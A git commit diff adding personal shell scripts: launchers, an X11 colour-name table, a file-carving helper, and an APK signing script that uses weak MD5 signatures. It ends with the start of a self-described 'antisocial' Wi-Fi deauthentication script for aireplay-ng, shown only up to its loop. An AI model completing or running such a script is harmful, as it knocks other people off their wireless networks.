fixing renderText script
This commit is contained in:
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
cd /archive/kof/ET && primusrun ./et.x86 +set fs_game cqbtest +set com_soundMegs 64 +set com_hunkMegs 256 +set com_zoneMegs 64 +set s_khz 48 +set r_maxpolyverts 16384 +set r_maxpolys 4096
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
pd -r 44100 -jack -nosleep -rt -font-size 7 -font-weight normal
|
||||
Executable
BIN
Binary file not shown.
Executable
+677
@@ -0,0 +1,677 @@
|
||||
# coding: latin-1
|
||||
# Copyright (c) 2009,2010 Dirk Baechle.
|
||||
# www: https://bitbucket.org/dirkbaechle/dottoxml
|
||||
# mail: dl9obn AT darc.de
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify it under
|
||||
# the terms of the GNU General Public License as published by the Free Software
|
||||
# Foundation; either version 2 of the License, or (at your option) any later
|
||||
# version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License along with
|
||||
# this program; if not, write to the Free Software Foundation, Inc.,
|
||||
# 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
"""
|
||||
X11 color names and their RGB values
|
||||
"""
|
||||
|
||||
# Mapping color names to RGB values
|
||||
color_map = {
|
||||
"aliceblue" : "#f0f8ff",
|
||||
"antiquewhite" : "#faebd7",
|
||||
"antiquewhite1" : "#ffefdb",
|
||||
"antiquewhite2" : "#eedfcc",
|
||||
"antiquewhite3" : "#cdc0b0",
|
||||
"antiquewhite4" : "#8b8378",
|
||||
"aquamarine" : "#7fffd4",
|
||||
"aquamarine1" : "#7fffd4",
|
||||
"aquamarine2" : "#76eec6",
|
||||
"aquamarine3" : "#66cdaa",
|
||||
"aquamarine4" : "#458b74",
|
||||
"azure" : "#f0ffff",
|
||||
"azure1" : "#f0ffff",
|
||||
"azure2" : "#e0eeee",
|
||||
"azure3" : "#c1cdcd",
|
||||
"azure4" : "#838b8b",
|
||||
"beige" : "#f5f5dc",
|
||||
"bisque" : "#ffe4c4",
|
||||
"bisque1" : "#ffe4c4",
|
||||
"bisque2" : "#eed5b7",
|
||||
"bisque3" : "#cdb79e",
|
||||
"bisque4" : "#8b7d6b",
|
||||
"black" : "#000000",
|
||||
"blanchedalmond" : "#ffebcd",
|
||||
"blue" : "#0000ff",
|
||||
"blue1" : "#0000ff",
|
||||
"blue2" : "#0000ee",
|
||||
"blue3" : "#0000cd",
|
||||
"blue4" : "#00008b",
|
||||
"blueviolet" : "#8a2be2",
|
||||
"brown" : "#a52a2a",
|
||||
"brown1" : "#ff4040",
|
||||
"brown2" : "#ee3b3b",
|
||||
"brown3" : "#cd3333",
|
||||
"brown4" : "#8b2323",
|
||||
"burlywood" : "#deb887",
|
||||
"burlywood1" : "#ffd39b",
|
||||
"burlywood2" : "#eec591",
|
||||
"burlywood3" : "#cdaa7d",
|
||||
"burlywood4" : "#8b7355",
|
||||
"cadetblue" : "#5f9ea0",
|
||||
"cadetblue1" : "#98f5ff",
|
||||
"cadetblue2" : "#8ee5ee",
|
||||
"cadetblue3" : "#7ac5cd",
|
||||
"cadetblue4" : "#53868b",
|
||||
"chartreuse" : "#7fff00",
|
||||
"chartreuse1" : "#7fff00",
|
||||
"chartreuse2" : "#76ee00",
|
||||
"chartreuse3" : "#66cd00",
|
||||
"chartreuse4" : "#458b00",
|
||||
"chocolate" : "#d2691e",
|
||||
"chocolate1" : "#ff7f24",
|
||||
"chocolate2" : "#ee7621",
|
||||
"chocolate3" : "#cd661d",
|
||||
"chocolate4" : "#8b4513",
|
||||
"coral" : "#ff7f50",
|
||||
"coral1" : "#ff7256",
|
||||
"coral2" : "#ee6a50",
|
||||
"coral3" : "#cd5b45",
|
||||
"coral4" : "#8b3e2f",
|
||||
"cornflowerblue" : "#6495ed",
|
||||
"cornsilk" : "#fff8dc",
|
||||
"cornsilk1" : "#fff8dc",
|
||||
"cornsilk2" : "#eee8cd",
|
||||
"cornsilk3" : "#cdc8b1",
|
||||
"cornsilk4" : "#8b8878",
|
||||
"crimson" : "#dc143c",
|
||||
"cyan" : "#00ffff",
|
||||
"cyan1" : "#00ffff",
|
||||
"cyan2" : "#00eeee",
|
||||
"cyan3" : "#00cdcd",
|
||||
"cyan4" : "#008b8b",
|
||||
"darkgoldenrod" : "#b8860b",
|
||||
"darkgoldenrod1" : "#ffb90f",
|
||||
"darkgoldenrod2" : "#eead0e",
|
||||
"darkgoldenrod3" : "#cd950c",
|
||||
"darkgoldenrod4" : "#8b6508",
|
||||
"darkgreen" : "#006400",
|
||||
"darkkhaki" : "#bdb76b",
|
||||
"darkolivegreen" : "#556b2f",
|
||||
"darkolivegreen1" : "#caff70",
|
||||
"darkolivegreen2" : "#bcee68",
|
||||
"darkolivegreen3" : "#a2cd5a",
|
||||
"darkolivegreen4" : "#6e8b3d",
|
||||
"darkorange" : "#ff8c00",
|
||||
"darkorange1" : "#ff7f00",
|
||||
"darkorange2" : "#ee7600",
|
||||
"darkorange3" : "#cd6600",
|
||||
"darkorange4" : "#8b4500",
|
||||
"darkorchid" : "#9932cc",
|
||||
"darkorchid1" : "#bf3eff",
|
||||
"darkorchid2" : "#b23aee",
|
||||
"darkorchid3" : "#9a32cd",
|
||||
"darkorchid4" : "#68228b",
|
||||
"darksalmon" : "#e9967a",
|
||||
"darkseagreen" : "#8fbc8f",
|
||||
"darkseagreen1" : "#c1ffc1",
|
||||
"darkseagreen2" : "#b4eeb4",
|
||||
"darkseagreen3" : "#9bcd9b",
|
||||
"darkseagreen4" : "#698b69",
|
||||
"darkslateblue" : "#483d8b",
|
||||
"darkslategray" : "#2f4f4f",
|
||||
"darkslategray1" : "#97ffff",
|
||||
"darkslategray2" : "#8deeee",
|
||||
"darkslategray3" : "#79cdcd",
|
||||
"darkslategray4" : "#528b8b",
|
||||
"darkslategrey" : "#2f4f4f",
|
||||
"darkturquoise" : "#00ced1",
|
||||
"darkviolet" : "#9400d3",
|
||||
"deeppink" : "#ff1493",
|
||||
"deeppink1" : "#ff1493",
|
||||
"deeppink2" : "#ee1289",
|
||||
"deeppink3" : "#cd1076",
|
||||
"deeppink4" : "#8b0a50",
|
||||
"deepskyblue" : "#00bfff",
|
||||
"deepskyblue1" : "#00bfff",
|
||||
"deepskyblue2" : "#00b2ee",
|
||||
"deepskyblue3" : "#009acd",
|
||||
"deepskyblue4" : "#00688b",
|
||||
"dimgray" : "#696969",
|
||||
"dimgrey" : "#696969",
|
||||
"dodgerblue" : "#1e90ff",
|
||||
"dodgerblue1" : "#1e90ff",
|
||||
"dodgerblue2" : "#1c86ee",
|
||||
"dodgerblue3" : "#1874cd",
|
||||
"dodgerblue4" : "#104e8b",
|
||||
"firebrick" : "#b22222",
|
||||
"firebrick1" : "#ff3030",
|
||||
"firebrick2" : "#ee2c2c",
|
||||
"firebrick3" : "#cd2626",
|
||||
"firebrick4" : "#8b1a1a",
|
||||
"floralwhite" : "#fffaf0",
|
||||
"forestgreen" : "#228b22",
|
||||
"gainsboro" : "#dcdcdc",
|
||||
"ghostwhite" : "#f8f8ff",
|
||||
"gold" : "#ffd700",
|
||||
"gold1" : "#ffd700",
|
||||
"gold2" : "#eec900",
|
||||
"gold3" : "#cdad00",
|
||||
"gold4" : "#8b7500",
|
||||
"goldenrod" : "#daa520",
|
||||
"goldenrod1" : "#ffc125",
|
||||
"goldenrod2" : "#eeb422",
|
||||
"goldenrod3" : "#cd9b1d",
|
||||
"goldenrod4" : "#8b6914",
|
||||
"gray" : "#c0c0c0",
|
||||
"gray0" : "#000000",
|
||||
"gray1" : "#030303",
|
||||
"gray2" : "#050505",
|
||||
"gray3" : "#080808",
|
||||
"gray4" : "#0a0a0a",
|
||||
"gray5" : "#0d0d0d",
|
||||
"gray6" : "#0f0f0f",
|
||||
"gray7" : "#121212",
|
||||
"gray8" : "#141414",
|
||||
"gray9" : "#171717",
|
||||
"gray10" : "#1a1a1a",
|
||||
"gray11" : "#1c1c1c",
|
||||
"gray12" : "#1f1f1f",
|
||||
"gray13" : "#212121",
|
||||
"gray14" : "#242424",
|
||||
"gray15" : "#262626",
|
||||
"gray16" : "#292929",
|
||||
"gray17" : "#2b2b2b",
|
||||
"gray18" : "#2e2e2e",
|
||||
"gray19" : "#303030",
|
||||
"gray20" : "#333333",
|
||||
"gray21" : "#363636",
|
||||
"gray22" : "#383838",
|
||||
"gray23" : "#3b3b3b",
|
||||
"gray24" : "#3d3d3d",
|
||||
"gray25" : "#404040",
|
||||
"gray26" : "#424242",
|
||||
"gray27" : "#454545",
|
||||
"gray28" : "#474747",
|
||||
"gray29" : "#4a4a4a",
|
||||
"gray30" : "#4d4d4d",
|
||||
"gray31" : "#4f4f4f",
|
||||
"gray32" : "#525252",
|
||||
"gray33" : "#545454",
|
||||
"gray34" : "#575757",
|
||||
"gray35" : "#595959",
|
||||
"gray36" : "#5c5c5c",
|
||||
"gray37" : "#5e5e5e",
|
||||
"gray38" : "#616161",
|
||||
"gray39" : "#636363",
|
||||
"gray40" : "#666666",
|
||||
"gray41" : "#696969",
|
||||
"gray42" : "#6b6b6b",
|
||||
"gray43" : "#6e6e6e",
|
||||
"gray44" : "#707070",
|
||||
"gray45" : "#737373",
|
||||
"gray46" : "#757575",
|
||||
"gray47" : "#787878",
|
||||
"gray48" : "#7a7a7a",
|
||||
"gray49" : "#7d7d7d",
|
||||
"gray50" : "#7f7f7f",
|
||||
"gray51" : "#828282",
|
||||
"gray52" : "#858585",
|
||||
"gray53" : "#878787",
|
||||
"gray54" : "#8a8a8a",
|
||||
"gray55" : "#8c8c8c",
|
||||
"gray56" : "#8f8f8f",
|
||||
"gray57" : "#919191",
|
||||
"gray58" : "#949494",
|
||||
"gray59" : "#969696",
|
||||
"gray60" : "#999999",
|
||||
"gray61" : "#9c9c9c",
|
||||
"gray62" : "#9e9e9e",
|
||||
"gray63" : "#a1a1a1",
|
||||
"gray64" : "#a3a3a3",
|
||||
"gray65" : "#a6a6a6",
|
||||
"gray66" : "#a8a8a8",
|
||||
"gray67" : "#ababab",
|
||||
"gray68" : "#adadad",
|
||||
"gray69" : "#b0b0b0",
|
||||
"gray70" : "#b3b3b3",
|
||||
"gray71" : "#b5b5b5",
|
||||
"gray72" : "#b8b8b8",
|
||||
"gray73" : "#bababa",
|
||||
"gray74" : "#bdbdbd",
|
||||
"gray75" : "#bfbfbf",
|
||||
"gray76" : "#c2c2c2",
|
||||
"gray77" : "#c4c4c4",
|
||||
"gray78" : "#c7c7c7",
|
||||
"gray79" : "#c9c9c9",
|
||||
"gray80" : "#cccccc",
|
||||
"gray81" : "#cfcfcf",
|
||||
"gray82" : "#d1d1d1",
|
||||
"gray83" : "#d4d4d4",
|
||||
"gray84" : "#d6d6d6",
|
||||
"gray85" : "#d9d9d9",
|
||||
"gray86" : "#dbdbdb",
|
||||
"gray87" : "#dedede",
|
||||
"gray88" : "#e0e0e0",
|
||||
"gray89" : "#e3e3e3",
|
||||
"gray90" : "#e5e5e5",
|
||||
"gray91" : "#e8e8e8",
|
||||
"gray92" : "#ebebeb",
|
||||
"gray93" : "#ededed",
|
||||
"gray94" : "#f0f0f0",
|
||||
"gray95" : "#f2f2f2",
|
||||
"gray96" : "#f5f5f5",
|
||||
"gray97" : "#f7f7f7",
|
||||
"gray98" : "#fafafa",
|
||||
"gray99" : "#fcfcfc",
|
||||
"gray100" : "#ffffff",
|
||||
"green" : "#00ff00",
|
||||
"green1" : "#00ff00",
|
||||
"green2" : "#00ee00",
|
||||
"green3" : "#00cd00",
|
||||
"green4" : "#008b00",
|
||||
"greenyellow" : "#adff2f",
|
||||
"grey" : "#c0c0c0",
|
||||
"grey0" : "#000000",
|
||||
"grey1" : "#030303",
|
||||
"grey2" : "#050505",
|
||||
"grey3" : "#080808",
|
||||
"grey4" : "#0a0a0a",
|
||||
"grey5" : "#0d0d0d",
|
||||
"grey6" : "#0f0f0f",
|
||||
"grey7" : "#121212",
|
||||
"grey8" : "#141414",
|
||||
"grey9" : "#171717",
|
||||
"grey10" : "#1a1a1a",
|
||||
"grey11" : "#1c1c1c",
|
||||
"grey12" : "#1f1f1f",
|
||||
"grey13" : "#212121",
|
||||
"grey14" : "#242424",
|
||||
"grey15" : "#262626",
|
||||
"grey16" : "#292929",
|
||||
"grey17" : "#2b2b2b",
|
||||
"grey18" : "#2e2e2e",
|
||||
"grey19" : "#303030",
|
||||
"grey20" : "#333333",
|
||||
"grey21" : "#363636",
|
||||
"grey22" : "#383838",
|
||||
"grey23" : "#3b3b3b",
|
||||
"grey24" : "#3d3d3d",
|
||||
"grey25" : "#404040",
|
||||
"grey26" : "#424242",
|
||||
"grey27" : "#454545",
|
||||
"grey28" : "#474747",
|
||||
"grey29" : "#4a4a4a",
|
||||
"grey30" : "#4d4d4d",
|
||||
"grey31" : "#4f4f4f",
|
||||
"grey32" : "#525252",
|
||||
"grey33" : "#545454",
|
||||
"grey34" : "#575757",
|
||||
"grey35" : "#595959",
|
||||
"grey36" : "#5c5c5c",
|
||||
"grey37" : "#5e5e5e",
|
||||
"grey38" : "#616161",
|
||||
"grey39" : "#636363",
|
||||
"grey40" : "#666666",
|
||||
"grey41" : "#696969",
|
||||
"grey42" : "#6b6b6b",
|
||||
"grey43" : "#6e6e6e",
|
||||
"grey44" : "#707070",
|
||||
"grey45" : "#737373",
|
||||
"grey46" : "#757575",
|
||||
"grey47" : "#787878",
|
||||
"grey48" : "#7a7a7a",
|
||||
"grey49" : "#7d7d7d",
|
||||
"grey50" : "#7f7f7f",
|
||||
"grey51" : "#828282",
|
||||
"grey52" : "#858585",
|
||||
"grey53" : "#878787",
|
||||
"grey54" : "#8a8a8a",
|
||||
"grey55" : "#8c8c8c",
|
||||
"grey56" : "#8f8f8f",
|
||||
"grey57" : "#919191",
|
||||
"grey58" : "#949494",
|
||||
"grey59" : "#969696",
|
||||
"grey60" : "#999999",
|
||||
"grey61" : "#9c9c9c",
|
||||
"grey62" : "#9e9e9e",
|
||||
"grey63" : "#a1a1a1",
|
||||
"grey64" : "#a3a3a3",
|
||||
"grey65" : "#a6a6a6",
|
||||
"grey66" : "#a8a8a8",
|
||||
"grey67" : "#ababab",
|
||||
"grey68" : "#adadad",
|
||||
"grey69" : "#b0b0b0",
|
||||
"grey70" : "#b3b3b3",
|
||||
"grey71" : "#b5b5b5",
|
||||
"grey72" : "#b8b8b8",
|
||||
"grey73" : "#bababa",
|
||||
"grey74" : "#bdbdbd",
|
||||
"grey75" : "#bfbfbf",
|
||||
"grey76" : "#c2c2c2",
|
||||
"grey77" : "#c4c4c4",
|
||||
"grey78" : "#c7c7c7",
|
||||
"grey79" : "#c9c9c9",
|
||||
"grey80" : "#cccccc",
|
||||
"grey81" : "#cfcfcf",
|
||||
"grey82" : "#d1d1d1",
|
||||
"grey83" : "#d4d4d4",
|
||||
"grey84" : "#d6d6d6",
|
||||
"grey85" : "#d9d9d9",
|
||||
"grey86" : "#dbdbdb",
|
||||
"grey87" : "#dedede",
|
||||
"grey88" : "#e0e0e0",
|
||||
"grey89" : "#e3e3e3",
|
||||
"grey90" : "#e5e5e5",
|
||||
"grey91" : "#e8e8e8",
|
||||
"grey92" : "#ebebeb",
|
||||
"grey93" : "#ededed",
|
||||
"grey94" : "#f0f0f0",
|
||||
"grey95" : "#f2f2f2",
|
||||
"grey96" : "#f5f5f5",
|
||||
"grey97" : "#f7f7f7",
|
||||
"grey98" : "#fafafa",
|
||||
"grey99" : "#fcfcfc",
|
||||
"grey100" : "#ffffff",
|
||||
"honeydew" : "#f0fff0",
|
||||
"honeydew1" : "#f0fff0",
|
||||
"honeydew2" : "#e0eee0",
|
||||
"honeydew3" : "#c1cdc1",
|
||||
"honeydew4" : "#838b83",
|
||||
"hotpink" : "#ff69b4",
|
||||
"hotpink1" : "#ff6eb4",
|
||||
"hotpink2" : "#ee6aa7",
|
||||
"hotpink3" : "#cd6090",
|
||||
"hotpink4" : "#8b3a62",
|
||||
"indianred" : "#cd5c5c",
|
||||
"indianred1" : "#ff6a6a",
|
||||
"indianred2" : "#ee6363",
|
||||
"indianred3" : "#cd5555",
|
||||
"indianred4" : "#8b3a3a",
|
||||
"indigo" : "#4b0082",
|
||||
"ivory" : "#fffff0",
|
||||
"ivory1" : "#fffff0",
|
||||
"ivory2" : "#eeeee0",
|
||||
"ivory3" : "#cdcdc1",
|
||||
"ivory4" : "#8b8b83",
|
||||
"khaki" : "#f0e68c",
|
||||
"khaki1" : "#fff68f",
|
||||
"khaki2" : "#eee685",
|
||||
"khaki3" : "#cdc673",
|
||||
"khaki4" : "#8b864e",
|
||||
"lavender" : "#e6e6fa",
|
||||
"lavenderblush" : "#fff0f5",
|
||||
"lavenderblush1" : "#fff0f5",
|
||||
"lavenderblush2" : "#eee0e5",
|
||||
"lavenderblush3" : "#cdc1c5",
|
||||
"lavenderblush4" : "#8b8386",
|
||||
"lawngreen" : "#7cfc00",
|
||||
"lemonchiffon" : "#fffacd",
|
||||
"lemonchiffon1" : "#fffacd",
|
||||
"lemonchiffon2" : "#eee9bf",
|
||||
"lemonchiffon3" : "#cdc9a5",
|
||||
"lemonchiffon4" : "#8b8970",
|
||||
"lightblue" : "#add8e6",
|
||||
"lightblue1" : "#bfefff",
|
||||
"lightblue2" : "#b2dfee",
|
||||
"lightblue3" : "#9ac0cd",
|
||||
"lightblue4" : "#68838b",
|
||||
"lightcoral" : "#f08080",
|
||||
"lightcyan" : "#e0ffff",
|
||||
"lightcyan1" : "#e0ffff",
|
||||
"lightcyan2" : "#d1eeee",
|
||||
"lightcyan3" : "#b4cdcd",
|
||||
"lightcyan4" : "#7a8b8b",
|
||||
"lightgoldenrod" : "#eedd82",
|
||||
"lightgoldenrod1" : "#ffec8b",
|
||||
"lightgoldenrod2" : "#eedc82",
|
||||
"lightgoldenrod3" : "#cdbe70",
|
||||
"lightgoldenrod4" : "#8b814c",
|
||||
"lightgoldenrodyellow" : "#fafad2",
|
||||
"lightgray" : "#d3d3d3",
|
||||
"lightgrey" : "#d3d3d3",
|
||||
"lightpink" : "#ffb6c1",
|
||||
"lightpink1" : "#ffaeb9",
|
||||
"lightpink2" : "#eea2ad",
|
||||
"lightpink3" : "#cd8c95",
|
||||
"lightpink4" : "#8b5f65",
|
||||
"lightsalmon" : "#ffa07a",
|
||||
"lightsalmon1" : "#ffa07a",
|
||||
"lightsalmon2" : "#ee9572",
|
||||
"lightsalmon3" : "#cd8162",
|
||||
"lightsalmon4" : "#8b5742",
|
||||
"lightseagreen" : "#20b2aa",
|
||||
"lightskyblue" : "#87cefa",
|
||||
"lightskyblue1" : "#b0e2ff",
|
||||
"lightskyblue2" : "#a4d3ee",
|
||||
"lightskyblue3" : "#8db6cd",
|
||||
"lightskyblue4" : "#607b8b",
|
||||
"lightslateblue" : "#8470ff",
|
||||
"lightslategray" : "#778899",
|
||||
"lightslategrey" : "#778899",
|
||||
"lightsteelblue" : "#b0c4de",
|
||||
"lightsteelblue1" : "#cae1ff",
|
||||
"lightsteelblue2" : "#bcd2ee",
|
||||
"lightsteelblue3" : "#a2b5cd",
|
||||
"lightsteelblue4" : "#6e7b8b",
|
||||
"lightyellow" : "#ffffe0",
|
||||
"lightyellow1" : "#ffffe0",
|
||||
"lightyellow2" : "#eeeed1",
|
||||
"lightyellow3" : "#cdcdb4",
|
||||
"lightyellow4" : "#8b8b7a",
|
||||
"limegreen" : "#32cd32",
|
||||
"linen" : "#faf0e6",
|
||||
"magenta" : "#ff00ff",
|
||||
"magenta1" : "#ff00ff",
|
||||
"magenta2" : "#ee00ee",
|
||||
"magenta3" : "#cd00cd",
|
||||
"magenta4" : "#8b008b",
|
||||
"maroon" : "#b03060",
|
||||
"maroon1" : "#ff34b3",
|
||||
"maroon2" : "#ee30a7",
|
||||
"maroon3" : "#cd2990",
|
||||
"maroon4" : "#8b1c62",
|
||||
"mediumaquamarine" : "#66cdaa",
|
||||
"mediumblue" : "#0000cd",
|
||||
"mediumorchid" : "#ba55d3",
|
||||
"mediumorchid1" : "#e066ff",
|
||||
"mediumorchid2" : "#d15fee",
|
||||
"mediumorchid3" : "#b452cd",
|
||||
"mediumorchid4" : "#7a378b",
|
||||
"mediumpurple" : "#9370db",
|
||||
"mediumpurple1" : "#ab82ff",
|
||||
"mediumpurple2" : "#9f79ee",
|
||||
"mediumpurple3" : "#8968cd",
|
||||
"mediumpurple4" : "#5d478b",
|
||||
"mediumseagreen" : "#3cb371",
|
||||
"mediumslateblue" : "#7b68ee",
|
||||
"mediumspringgreen" : "#00fa9a",
|
||||
"mediumturquoise" : "#48d1cc",
|
||||
"mediumvioletred" : "#c71585",
|
||||
"midnightblue" : "#191970",
|
||||
"mintcream" : "#f5fffa",
|
||||
"mistyrose" : "#ffe4e1",
|
||||
"mistyrose1" : "#ffe4e1",
|
||||
"mistyrose2" : "#eed5d2",
|
||||
"mistyrose3" : "#cdb7b5",
|
||||
"mistyrose4" : "#8b7d7b",
|
||||
"moccasin" : "#ffe4b5",
|
||||
"navajowhite" : "#ffdead",
|
||||
"navajowhite1" : "#ffdead",
|
||||
"navajowhite2" : "#eecfa1",
|
||||
"navajowhite3" : "#cdb38b",
|
||||
"navajowhite4" : "#8b795e",
|
||||
"navy" : "#000080",
|
||||
"navyblue" : "#000080",
|
||||
"oldlace" : "#fdf5e6",
|
||||
"olivedrab" : "#6b8e23",
|
||||
"olivedrab1" : "#c0ff3e",
|
||||
"olivedrab2" : "#b3ee3a",
|
||||
"olivedrab3" : "#9acd32",
|
||||
"olivedrab4" : "#698b22",
|
||||
"orange" : "#ffa500",
|
||||
"orange1" : "#ffa500",
|
||||
"orange2" : "#ee9a00",
|
||||
"orange3" : "#cd8500",
|
||||
"orange4" : "#8b5a00",
|
||||
"orangered" : "#ff4500",
|
||||
"orangered1" : "#ff4500",
|
||||
"orangered2" : "#ee4000",
|
||||
"orangered3" : "#cd3700",
|
||||
"orangered4" : "#8b2500",
|
||||
"orchid" : "#da70d6",
|
||||
"orchid1" : "#ff83fa",
|
||||
"orchid2" : "#ee7ae9",
|
||||
"orchid3" : "#cd69c9",
|
||||
"orchid4" : "#8b4789",
|
||||
"palegoldenrod" : "#eee8aa",
|
||||
"palegreen" : "#98fb98",
|
||||
"palegreen1" : "#9aff9a",
|
||||
"palegreen2" : "#90ee90",
|
||||
"palegreen3" : "#7ccd7c",
|
||||
"palegreen4" : "#548b54",
|
||||
"paleturquoise" : "#afeeee",
|
||||
"paleturquoise1" : "#bbffff",
|
||||
"paleturquoise2" : "#aeeeee",
|
||||
"paleturquoise3" : "#96cdcd",
|
||||
"paleturquoise4" : "#668b8b",
|
||||
"palevioletred" : "#db7093",
|
||||
"palevioletred1" : "#ff82ab",
|
||||
"palevioletred2" : "#ee799f",
|
||||
"palevioletred3" : "#cd6889",
|
||||
"palevioletred4" : "#8b475d",
|
||||
"papayawhip" : "#ffefd5",
|
||||
"peachpuff" : "#ffdab9",
|
||||
"peachpuff1" : "#ffdab9",
|
||||
"peachpuff2" : "#eecbad",
|
||||
"peachpuff3" : "#cdaf95",
|
||||
"peachpuff4" : "#8b7765",
|
||||
"peru" : "#cd853f",
|
||||
"pink" : "#ffc0cb",
|
||||
"pink1" : "#ffb5c5",
|
||||
"pink2" : "#eea9b8",
|
||||
"pink3" : "#cd919e",
|
||||
"pink4" : "#8b636c",
|
||||
"plum" : "#dda0dd",
|
||||
"plum1" : "#ffbbff",
|
||||
"plum2" : "#eeaeee",
|
||||
"plum3" : "#cd96cd",
|
||||
"plum4" : "#8b668b",
|
||||
"powderblue" : "#b0e0e6",
|
||||
"purple" : "#a020f0",
|
||||
"purple1" : "#9b30ff",
|
||||
"purple2" : "#912cee",
|
||||
"purple3" : "#7d26cd",
|
||||
"purple4" : "#551a8b",
|
||||
"red" : "#ff0000",
|
||||
"red1" : "#ff0000",
|
||||
"red2" : "#ee0000",
|
||||
"red3" : "#cd0000",
|
||||
"red4" : "#8b0000",
|
||||
"rosybrown" : "#bc8f8f",
|
||||
"rosybrown1" : "#ffc1c1",
|
||||
"rosybrown2" : "#eeb4b4",
|
||||
"rosybrown3" : "#cd9b9b",
|
||||
"rosybrown4" : "#8b6969",
|
||||
"royalblue" : "#4169e1",
|
||||
"royalblue1" : "#4876ff",
|
||||
"royalblue2" : "#436eee",
|
||||
"royalblue3" : "#3a5fcd",
|
||||
"royalblue4" : "#27408b",
|
||||
"saddlebrown" : "#8b4513",
|
||||
"salmon" : "#fa8072",
|
||||
"salmon1" : "#ff8c69",
|
||||
"salmon2" : "#ee8262",
|
||||
"salmon3" : "#cd7054",
|
||||
"salmon4" : "#8b4c39",
|
||||
"sandybrown" : "#f4a460",
|
||||
"seagreen" : "#2e8b57",
|
||||
"seagreen1" : "#54ff9f",
|
||||
"seagreen2" : "#4eee94",
|
||||
"seagreen3" : "#43cd80",
|
||||
"seagreen4" : "#2e8b57",
|
||||
"seashell" : "#fff5ee",
|
||||
"seashell1" : "#fff5ee",
|
||||
"seashell2" : "#eee5de",
|
||||
"seashell3" : "#cdc5bf",
|
||||
"seashell4" : "#8b8682",
|
||||
"sienna" : "#a0522d",
|
||||
"sienna1" : "#ff8247",
|
||||
"sienna2" : "#ee7942",
|
||||
"sienna3" : "#cd6839",
|
||||
"sienna4" : "#8b4726",
|
||||
"skyblue" : "#87ceeb",
|
||||
"skyblue1" : "#87ceff",
|
||||
"skyblue2" : "#7ec0ee",
|
||||
"skyblue3" : "#6ca6cd",
|
||||
"skyblue4" : "#4a708b",
|
||||
"slateblue" : "#6a5acd",
|
||||
"slateblue1" : "#836fff",
|
||||
"slateblue2" : "#7a67ee",
|
||||
"slateblue3" : "#6959cd",
|
||||
"slateblue4" : "#473c8b",
|
||||
"slategray" : "#708090",
|
||||
"slategray1" : "#c6e2ff",
|
||||
"slategray2" : "#b9d3ee",
|
||||
"slategray3" : "#9fb6cd",
|
||||
"slategray4" : "#6c7b8b",
|
||||
"slategrey" : "#708090",
|
||||
"snow" : "#fffafa",
|
||||
"snow1" : "#fffafa",
|
||||
"snow2" : "#eee9e9",
|
||||
"snow3" : "#cdc9c9",
|
||||
"snow4" : "#8b8989",
|
||||
"springgreen" : "#00ff7f",
|
||||
"springgreen1" : "#00ff7f",
|
||||
"springgreen2" : "#00ee76",
|
||||
"springgreen3" : "#00cd66",
|
||||
"springgreen4" : "#008b45",
|
||||
"steelblue" : "#4682b4",
|
||||
"steelblue1" : "#63b8ff",
|
||||
"steelblue2" : "#5cacee",
|
||||
"steelblue3" : "#4f94cd",
|
||||
"steelblue4" : "#36648b",
|
||||
"tan" : "#d2b48c",
|
||||
"tan1" : "#ffa54f",
|
||||
"tan2" : "#ee9a49",
|
||||
"tan3" : "#cd853f",
|
||||
"tan4" : "#8b5a2b",
|
||||
"thistle" : "#d8bfd8",
|
||||
"thistle1" : "#ffe1ff",
|
||||
"thistle2" : "#eed2ee",
|
||||
"thistle3" : "#cdb5cd",
|
||||
"thistle4" : "#8b7b8b",
|
||||
"tomato" : "#ff6347",
|
||||
"tomato1" : "#ff6347",
|
||||
"tomato2" : "#ee5c42",
|
||||
"tomato3" : "#cd4f39",
|
||||
"tomato4" : "#8b3626",
|
||||
"transparent" : "#fffffe",
|
||||
"turquoise" : "#40e0d0",
|
||||
"turquoise1" : "#00f5ff",
|
||||
"turquoise2" : "#00e5ee",
|
||||
"turquoise3" : "#00c5cd",
|
||||
"turquoise4" : "#00868b",
|
||||
"violet" : "#ee82ee",
|
||||
"violetred" : "#d02090",
|
||||
"violetred1" : "#ff3e96",
|
||||
"violetred2" : "#ee3a8c",
|
||||
"violetred3" : "#cd3278",
|
||||
"violetred4" : "#8b2252",
|
||||
"wheat" : "#f5deb3",
|
||||
"wheat1" : "#ffe7ba",
|
||||
"wheat2" : "#eed8ae",
|
||||
"wheat3" : "#cdba96",
|
||||
"wheat4" : "#8b7e66",
|
||||
"white" : "#ffffff",
|
||||
"whitesmoke" : "#f5f5f5",
|
||||
"yellow" : "#ffff00",
|
||||
"yellow1" : "#ffff00",
|
||||
"yellow2" : "#eeee00",
|
||||
"yellow3" : "#cdcd00",
|
||||
"yellow4" : "#8b8b00",
|
||||
"yellowgreen" : "#9acd32",
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
list=`ls -tr`
|
||||
cat $list > /tmp/file.raw && foremost -i /tmp/file.raw -o /tmp/output && cat /tmp/output/audit.txt && montage -tile 10x -background black /tmp/output/jpg/*.jpg /tmp/output/png/* /tmp/out.png && sudo rm /tmp/output -r && viewnior /tmp/out.png &
|
||||
|
||||
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /home/kof/kof.keystore $1 kof && jarsigner -verify -verbose $1 && zipalign -v 4 $1 $(basename $1 -release-unsigned.apk).apk
|
||||
Executable
+27
@@ -0,0 +1,27 @@
|
||||
#!/bin/sh
|
||||
#!/bin/bash
|
||||
|
||||
# ANTISOCIAL WIRELESS NETWORK SCRIPT
|
||||
# requires arp-scan, aireplay-ng and a GNU/Linux host
|
||||
# exec as follows:
|
||||
#
|
||||
# ./deauth.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>
|
||||
|
||||
|
||||
NIC=$1
|
||||
BSSID=$2
|
||||
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
|
||||
|
||||
while true;
|
||||
do
